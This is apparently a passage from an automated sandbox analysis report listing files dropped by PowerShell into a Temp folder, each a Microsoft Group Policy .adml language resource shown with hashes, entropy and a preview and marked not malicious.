C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EAIME.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7775
Entropy (8bit):	4.801945943527714
Encrypted:	false
SSDEEP:	192:Els7BYDGrS9SqHBf0IpqGKJkPsmcjtJiANpyhSz9zxbBiy:A0bMsBHiANpyh89zxbl
MD5:	A2F0FA1F7B955635BAEF6D42E1019FAD
SHA1:	52F10ED5BB525A53AD000BAB3D0AD3A8CC696CB9
SHA-256:	F54FFC98753D1F03710F912F456B1639B18EC692D2E41FF529A79C5BA8A38B8B
SHA-512:	1BB3F4D5A8895C0AA0373E6EBA93636B022BB9709DE40408C46924664A63390593B386EF5A3968F0DBA8DB31F02AFB20455C7AAB95E2498DEB466E89C335D0D9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="L_IME">IME</string>.. <string id="L_TurnOnMisconversionLoggingForMisconversionReport">Turn on misconversion logging for misconversion report</string>.. <string id="L_TurnOnMisconversionLoggingForMisconversionReportExplain">This policy setting allows you to turn on logging of misconversion for the misconversion report.....If you enable this policy setting, misconversion logging is turned on.....If you disable or do not configure this policy setting, misconversion logging is turned off. ....This policy sett

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EarlyLaunchAM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (335), with CRLF line terminators
Category:	dropped
Size (bytes):	2537
Entropy (8bit):	4.7263609685346974
Encrypted:	false
SSDEEP:	48:yafKUwDTjsFQCzwDNgVC2G1KJzDD8xr2rZkwJXW2V:yuujKQCzwDWC2G1wzDQr2rZkaV
MD5:	75AAE2A1219696C7D046F25DA1C331B8
SHA1:	0E20307FC43CECFD876B2A03CE998204A4A9D932
SHA-256:	5A5BAD4A99052A7DFFAD794A712F606F4421D0323AF8BA4121BB02034C917C1C
SHA-512:	18DE3563DB066BB209792A31096B0B98BDF8C2BFE9BBE077D9F2443513F60D3896ACECA4362D26F08F1CF43E3E37EEE242D2E608958E0CFF2136DA65A9B1AB46
Malicious:	false
Preview:	<policyDefinitionResources revision="1.0" schemaVersion="1.0">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ELAMCategory">Early Launch Antimalware</string>.. <string id="POL_DriverLoadPolicy_Name">Boot-Start Driver Initialization Policy</string>.. <string id="POL_DriverLoadPolicy_Name_Help">This policy setting allows you to specify which boot-start drivers are initialized based on a classification determined by an Early Launch Antimalware boot-start driver. The Early Launch Antimalware boot-start driver can return the following classifications for each boot-start driver:..- Good: The driver has been signed and has not been tampered with...- Bad: The driver has been identified as malware. It is recommended that you do not allow known bad drivers to be initialized...- Bad, but required for boot: The driver has been identified as malware, but the computer cannot

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EdgeUI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4475
Entropy (8bit):	4.731397984218957
Encrypted:	false
SSDEEP:	48:cs+D5x8gm8fK0QfhWpiSbXFNWf7DwirbOgSuvmrIvZZsSuvLD49MCD49Ms+qDxsL:P+D5pmYYh7SeDDrbQUCMOZxq0/tWFV
MD5:	47245202B642C2B6443C63A220226B22
SHA1:	6C3DEDBC58314BF1EDCA6EA0D8161E80B8013B1D
SHA-256:	59B4266A7E379E4047910594D63B44F4A251684A3C97F74CC16585B2779871AD
SHA-512:	4470B0A9568B88965C077F8690BB48BEA88D15A148F2C402D47C17EBB6F52BFB1194FB4B0C328E22DC3772FEF38DCF4E0D33FC966312CAFDFCFA1D0F2539D7E8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2011 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EdgeUI">Edge UI</string>.. <string id="EdgeUI_Help">Contains settings related to system user interfaces attached to the screen edges.</string>.. <string id="TurnOffBackstack">Turn off switching between recent apps</string>.. <string id="TurnOffBackstack_Help">If you enable this setting, users will not be allowed to switch between recent apps. The App Switching option in the PC settings app will be disabled as well.....If you disable or do not configure this policy setting, users will be allowed to sw

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EncryptFilesonMove.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1260
Entropy (8bit):	4.910898508580554
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61ykJvSmJjbLgn7OL2dOrL0ZFp4D/FV:cgeD5x8gm8fKvJDJ074rFV
MD5:	F09A4E370D3321A61FC7456B9A007360
SHA1:	58E0F3E0213B3FF00E2C6694D6A0D3A71D9DE55E
SHA-256:	E32ECF04721C0695C125F1F8E3ECC0ED14179FC85045C1C44C0D4CCDAA74D085
SHA-512:	0BEB4C675E79A2234CAD73F0ADBCAE49B7ED4CD8F62BD6DAC0985EB4C9DBF7C3387B2CEB74C67C2D0052287FD436BECF8D415D22ED72AAB7B296E15C9DFEFECC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NoEncryptOnMove">Do not automatically encrypt files moved to encrypted folders</string>.. <string id="NoEncryptOnMove_Help">This policy setting prevents File Explorer from encrypting files that are moved to an encrypted folder.....If you enable this policy setting, File Explorer will not automatically encrypt files that are moved to an encrypted folder.....If you disable or do not configure this policy setting, File Explorer automatically encrypts files that are moved to an encrypted folder.....This setting ap

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ErrorReporting.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (790), with CRLF line terminators
Category:	dropped
Size (bytes):	30768
Entropy (8bit):	4.691623979168484
Encrypted:	false
SSDEEP:	384:hAUh6Hw6B8HwwHhZK3KwrQGj4UQ6ic6jKqBO1Mck1S:hAU8MwwHnwiUQXro
MD5:	8AB1308CBA6530C458F432AB454C3070
SHA1:	099E6CF6F6108281974B2992B3B40E0AED58A994
SHA-256:	0E087D6F548B2CDBF2C2EA12CE78DC4F8B9D1A4979AE6FD955CAC4D350AAFABD
SHA-512:	C19FDEC863339CB92AF86EE3C2244A13E330B4641241A693D1BD61128AB3A13076652AAD0AC8EB8D757760437311CB12CD94D43AC947CE0361EEA7E8DC99E60D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Windows Error Reporting</displayName>.. <description>Windows Error Reporting</description>.. <resources>.. <stringTable>.. <string id="CAT_WindowsErrorReporting">Windows Error Reporting</string>.. <string id="CAT_WindowsErrorReportingAdvanced">Advanced Error Reporting Settings</string>.. <string id="CAT_WindowsErrorReportingConsent">Consent</string>.. <string id="PCH_AllOrNoneDef">Default application reporting settings</string>.. <string id="PCH_AllOrNoneDef_Exclude">Do not report any application errors</string>.. <string id="PCH_AllOrNoneDef_Help">This policy setting controls whether errors in general applications are in

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EventForwarding.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2548
Entropy (8bit):	4.859559586253688
Encrypted:	false
SSDEEP:	24:3KbFDiCUSNsojnPFc9QABiRop6FkY060S9vEWmwlCXFfD1ui/5asx6g7wGuVmoeV:65DySNPjPuSRopa0i8tFBnBrhwGZoeV
MD5:	0A764BB7FD1C2BC83CBBA71BDC3F8EB0
SHA1:	A7234960D73C854F981680AD4691ACCC5E3F2024
SHA-256:	EF69C13304DBA64691227AC0C87F03C89120BEB6003722C43E390BDA572331AD
SHA-512:	0F5E549755270FD2E40669321F4E69581BBCB79CE7D905BB6E95E9251C10B76681C6ED19BA623D17C8AD56DD39A6D0104BE60DD0B5FE8045BC4EB8217ED4E772
Malicious:	false
Preview:	<?xml version="1.0"?>..<policyDefinitionResources revision="1.0" schemaVersion="1.0">...<displayName>Event Forwarding</displayName>.....<description>Policy Definitions For Event Forwarding</description>.....<resources>......<stringTable>.......<string id="EventForwarding">Event Forwarding</string>.... <string id="ForwarderResourceUsage">Configure forwarder resource usage</string>.. <string id="ForwarderResourceUsage_Help">This policy setting controls resource usage for the forwarder (source computer) by controlling the events/per second sent to the Event Collector.....If you enable this policy setting, you can control the volume of events sent to the Event Collector by the source computer. This may be required in high volume environments.....If you disable or do not configure this policy setting, forwarder resource usage is not specified.....This setting applies across all subscriptions for the forwarder (source computer).</string>.. .....<

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EventLog.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	7756
Entropy (8bit):	4.821366715902771
Encrypted:	false
SSDEEP:	192:EuPOfDUFRKtm/P2R7gHzBwRTLfdpSJlIau:bPOfA+g2RCudH
MD5:	B58D99D32DF6E1076E976FA8ABC3EEEA
SHA1:	4AB6E78ECDC35F98D09AE29B0D7C8D9AB19A91FD
SHA-256:	2863EF5940EC4685D1CF61891191647CE435F325720BC9626A0F2214F56E6EC9
SHA-512:	9A0FF4D6D9BB1A53F01A24DD946945CAB0D4A48053035A8435B4CFB0DCF7690C0CC418E72911FCFBA8379617D328253C236F307F62D1627B0087747816D6AAFE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Channel_Log_AutoBackup">Back up log automatically when full</string>.. <string id="Channel_Log_AutoBackup_Help">This policy setting controls Event Log behavior when the log file reaches its maximum size and takes effect only if the "Retain old events" policy setting is enabled.....If you enable this policy setting and the "Retain old events" policy setting is enabled, the Event Log file is automatically closed and renamed when it is full. A new file is then started.....If you disable this policy setting and th

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\EventViewer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2368
Entropy (8bit):	4.905404060928818
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQHXEjH4Mj1Zy3snm5R0mM/CJ4tFOmBXOm70oV:cgeD5x8gm8fKI/szB4tFZUoV
MD5:	45EB132CB1F927D22C54EC385A552153
SHA1:	634D98CB8F8BFE12E9CD19CD4764DFCF134CC011
SHA-256:	8911189FB55D6DE6DA90E3ED57336AA7F2323520CF2719CED2E91B76B4AB085D
SHA-512:	32ECD99085199B267FEA70CA5363DFF1270BC083107E80368FD7F48C69E8646078ACFFA3206692CF3F2BF447D4EBB5BBB251F32F1DD712927F836F5751FF47AF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="EventViewer">Event Viewer</string>.. <string id="EventViewer_RedirectionProgram">Events.asp program</string>.. <string id="EventViewer_RedirectionProgram_Help">This is the program that will be invoked when the user clicks the events.asp link.</string>.. <string id="EventViewer_RedirectionProgramCommandLineParameters">Events.asp program command line parameters</string>.. <string id="EventViewer_RedirectionProgramCommandLineParameters_Help">This specifies the command line parameters that will be p

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Explorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (311), with CRLF line terminators
Category:	dropped
Size (bytes):	4363
Entropy (8bit):	4.775276168335737
Encrypted:	false
SSDEEP:	96:LeD5pmUZsDKU5h9ERZR2s0vJVu2MNFBBzUysV:EpZsDx9g0vJVBMNXBzi
MD5:	B8789197191F1A2C461797C595FD8415
SHA1:	DDCB4910A18C318E8E90CF29A92FE70ADFDB20EE
SHA-256:	6CBA67BF6D239FA46E6F2566F1F8653DCBA053DC828AA731DD768C525AF1BB1D
SHA-512:	D05BF9DE3D8ADD27206F4819283E89533AC83ED97AF159023EF46393B5CAB9D5D95D4C32D15C21A0E895CE3820418D71D29553E420F1ADAE7225AEEEFBE1A91E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AlwaysShowClassicMenu">Display the menu bar in File Explorer </string>.. <string id="AlwaysShowClassicMenu_Help">This policy setting configures File Explorer to always display the menu bar.....Note: By default, the menu bar is not displayed in File Explorer.....If you enable this policy setting, the menu bar will be displayed in File Explorer.....If you disable or do not configure this policy setting, the menu bar will not be displayed in File Explorer.....Note: When the menu bar is not displayed, users can ac

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ExternalBoot.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2806
Entropy (8bit):	4.897245212995506
Encrypted:	false
SSDEEP:	48:cgeD5x8gmFa0I0aUFxafehoPd7idK6a0WaZP5Zo5Z0fd5Z1zarCaO5ZVwKd5ZUwY:LeD5pmFa0I0a4afIa9aZPMcda2aOSYvY
MD5:	8417153A964B75197B8A08F35D62C381
SHA1:	2A4820E67495FCCC524E72AFAB923803755C9F2B
SHA-256:	F8B25ED02542858011F65AE02EBD1C4A62558EE28B76A281656FCF1A70E772BC
SHA-512:	F1DEC0EA5AA367C94CCE27B71B3412FCE370CFF75DF44CCEA5CA931BB52992B30D252144188DFA93FE9E5EF573419DF8BCAEAE9C5DFBA8936E24C80CBDC4D291
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Portable Workspace</displayName>.. <description>This file contains Portable Workspace policy settings.</description>.. <resources>.. <stringTable>.. <string id="PortableOperatingSystem">Portable Operating System</string>.. <string id="PortableOperatingSystem_Launcher_DisplayName">Windows To Go Default Startup Options</string>.. <string id="PortableOperatingSystem_Launcher_Help">....This policy setting controls whether the PC will boot to Windows To Go if a USB device containing a Windows To Go workspace is connected, and controls whether users can make changes using the Windows To Go Startup Options Control Panel item.....If you enable

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileHistory.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	988
Entropy (8bit):	5.031142948192133
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3F6Et8mTc48vzNgW4ZdNHW4fFV:cgeD5x8gm/TagW4Z/HW4fFV
MD5:	76EF9C90CFE65DE37CDBCD4847D584BE
SHA1:	72977FE03FBED6B2FF3C750405CA0838A547471A
SHA-256:	9341A249C8DB566C91BD171482DAA2FAF9D17EF757DB6CBE6829F75D4FCE9492
SHA-512:	2788E014B9335C70D55EBC24139D09C862D3D016B043566A126E2956B53622F443AEE92B5C28BA83B5C670AD03D948BB6D4435B090BFBB992E33DC2F83D01E2F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>File History</displayName>.. <description>File History</description>.. <resources>.. <stringTable>.. <string id="FileHistoryName">File History</string>.. <string id="DisableFileHistory">Turn off File History</string>.. <string id="DisableFileHistory_explanation">This policy setting allows you to turn off File History.....If you enable this policy setting, File History cannot be activated to create regular, automatic backups.....If you disable or do not configure this policy setting, File History can be activated to create regular, automatic backups.</string>.. </stringTable>.. </resources>..</policyDefinitionResources>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileRecovery.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2975
Entropy (8bit):	4.8069063103068785
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKn8YD6KENYYqgFd67gJDqrq5x0BsYukrtP4XEgV:LeD5pm3D0uWFm2DaqjCswtPeV
MD5:	353E01C633CBAF640B8238C535A4E3BC
SHA1:	0FC2C8473CB1298245F8D2893D796C3B3BEA14EC
SHA-256:	3A5992E2DC42003E6F1547CE4253134CF8C6270DA6F68FCB6E3FA854B07FADE1
SHA-512:	A7BE0B5FF87A6EEBD9A1CCA5F72DF27DD9A1DBEB127ADE55AC80CA10C7A5084EB87ECE4143724E5920057F6E533AE809E551C62E88876CCF8A16FAF8AB8A1358
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Corrupted File Recovery</string>.. <string id="WdiScenarioExecutionPolicy">Configure Corrupted File Recovery behavior</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting allows you to configure the recovery behavior for corrupted files to one of three states:....Regular: Detection, troubleshooting, and recovery of corrupted files will automatically start with a minimal UI display. Windows will attempt to present you with a dialog box when a system restart is

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileRevocation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (591), with CRLF line terminators
Category:	dropped
Size (bytes):	2614
Entropy (8bit):	4.778560797244179
Encrypted:	false
SSDEEP:	48:c4D5FL8golENFW8jxk1tQYY4DXOc3I+4QZHD75LhhAOoXV:RD5FPoWNFWweQD4TV1Zv5LhHoXV
MD5:	85E6DEC7D2E9D6A930AE1A7B4C9E6CE9
SHA1:	A8C71091F223CD0DCDF3AA8AE4A2D6E1888FD69E
SHA-256:	1E5E1B42CFB88B5072DADEB281779586616FC8A3493F66EE17557A19D9ABC27D
SHA-512:	F0076C0E98DE7CBD06723E647B7CF654CF85CE262832321606FCA066B22FC4C70635D183F2E1F8BD77AA9FC99F9EDEE8BF909DD8708AA3C01F0A8164FEEE9D98
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. Documentation says these are optional, but GPEdit does not agree-->.. <displayName>File Revocation Policy Settings</displayName>.. <description>File Revocation Policy Settings</description>.. <resources>.. <stringTable>.. <string id="FileRevocationCategory">File Revocation</string>.. <string id="DelegatedPackageFamilyNames_Name">Allow Windows Runtime apps to revoke enterprise data</string>.. <string id="DelegatedPackageFamilyNames_Help">Windows Runtime applications can protect content which has been associated with an enterprise identifier (EID), but can only revoke access to content it protected. To allow an application to revoke

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileServerVSSProvider.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1516
Entropy (8bit):	4.992519754988731
Encrypted:	false
SSDEEP:	24:2dgeD5eo8g4t4+3Fbef61yjhZEPaREbCF2LRz8u4tUtTY45y9Qy52fKKnKHPaMfV:cgeD5x8gU8fK8hOaRmC0Rz8u4tYTFynR
MD5:	BFBE8A2102D1DAD98FC3B6A7C9D49809
SHA1:	D2B7FA51C1458FF163A3A687687BC79615A0950E
SHA-256:	DA1FFF29710B8B4D5D3361E38FE64B66D7A39F70AB98D23F02C2F285C7298817
SHA-512:	798D71F3589C310441205512EDF99AC939A53BD7A4381BE6908722C9C41B03788AE7BE9D2B59083D7D39E76D9CFA8D7EA1DD4BCFD3800602188A6185C64B6941
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. Component name -->.. <string id="Cat_FileShareShadowCopyProvider">File Share Shadow Copy Provider</string>.. Component name -->.... <string id="Pol_EncryptProtocol">Allow or Disallow use of encryption to protect the RPC protocol messages between File Share Shadow Copy Provider running on application server and File Share Shadow Copy Agent running on the file servers.</string>.. <string id="Pol_EncryptProtocol_Help">Determines whether the RPC protocol messagese used by VSS for SMB2 File Shares feat

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FileSys.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (466), with CRLF line terminators
Category:	dropped
Size (bytes):	5047
Entropy (8bit):	4.778189792452432
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fK0BR2avs7FFiTs5UXs5Zg3NZRWwzL9oaVdQMxITRnRZ6LutwOXsQU:LeD5pmus7asQsyxVOnJIV
MD5:	F1951FB8C3B9EEBE23ABEF5EE23DBA39
SHA1:	FBAB4967D796A04FB164024D8C543D676E44BD24
SHA-256:	40A867EB9B6B1644CDF87AC77D346485DA153B245603237FA9A76E2C68ACFD4B
SHA-512:	9604C7324D2FE2EC3C40D90E0C3747B6BBBF20186F7A6A695D947C9F1FEB727875066CC700C31291BA156C0BA83893917AF4A7BEDC37208D4500B88DF22D9079
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Filesystem">Filesystem</string>.. <string id="NTFS">NTFS</string>.. <string id="SymlinkEvalExplain">Symbolic links can introduce vulnerabilities in certain applications. To mitigate this issue, you can selectively enable or disable the evaluation of these types of symbolic links:....Local Link to a Local Target..Local Link to a Remote Target..Remote Link to Remote Target..Remote Link to Local Target....For further information please refer to the Windows Help section....NOTE: If this policy is Disabled or

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FolderRedirection.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (565), with CRLF line terminators
Category:	dropped
Size (bytes):	7951
Entropy (8bit):	4.723629934992763
Encrypted:	false
SSDEEP:	96:LeD5pm0w3a/059U9dRz1zAkpsx1zAkWMOUH+fH/s3RpeWCBNTAynMydWcS5Pv0rA:EEVzAT7p67WMF+3s3RV5yMydWz5P0A
MD5:	B0E17494D027C66AD4CC97FE5D2E6108
SHA1:	D382CFCD7145A738FC23FE78BC925DB11E9C5A42
SHA-256:	0144A87B8D59221D8C76B55A64743F6AD72FEC812242669C05421D4D07321383
SHA-512:	65256FCD792B464E49B8A04D00442F5B4FC358337E3F6B3DDA4F3B14BA7C460A9825F1D7FF22A2C39FC1A12C188C724C0C82D3FB1A602D193D5F693D8D4335BA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Fdeploy_Cat">Folder Redirection</string>.. <string id="LocalizeXPRelativePaths">Use localized subfolder names when redirecting Start Menu and My Documents</string>.. <string id="LocalizeXPRelativePaths_Help">This policy setting allows the administrator to define whether Folder Redirection should use localized names for the All Programs, Startup, My Music, My Pictures, and My Videos subfolders when redirecting the parent Start Menu and legacy My Documents folder respectively.....If you enable this policy s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\FramePanes.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2163
Entropy (8bit):	4.8446705224824
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEThu85fKbISIiSPks6/jvY/wAibISvVviR0OlnIcBV:cgeD5x8gm8fK+oKWkx7v7SmVviBV
MD5:	15395250ABFE245E09EDEA1B6537814E
SHA1:	BCD13824A7D7E4DDDF9F7F60EEC6149D6F10F1D4
SHA-256:	CADF1A1ED7AF5758824AC8A710730356758359E4CF0B61B989B76A3BA9DADFF0
SHA-512:	6C4337CD68D38FC32E6AA4BEAB133AEC2E7F4DA435092F7359CAF6859E24B3FC2C6D1D9F19886DEE9F726CF1F3BD993F4FF9F1A9F626024EC593486E75B81216
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ExplorerFramePanePolicies">Explorer Frame Pane</string>.. <string id="PreviewPane">Turn on or off details pane</string>.. <string id="PreviewPane_DropDownList_Show">Always show</string>.. <string id="PreviewPane_DropDownList_Hide">Always hide</string>.. <string id="PreviewPane_help">This policy setting shows or hides the Details Pane in File Explorer.....If you enable this policy setting and configure it to hide the pane, the Details Pane in File Explorer is hidden and cannot be turned on by the

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\GameExplorer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1897
Entropy (8bit):	4.8809825480443285
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKl5wrZqMZDrABpO+ODR5/aAo19ArdFV:LeD5pmLGZqi4kRhaAo10dFV
MD5:	85EE206DDBF793929AC0467A02312D46
SHA1:	27550C4F8815DF919184B033AD36AD864CD5FA84
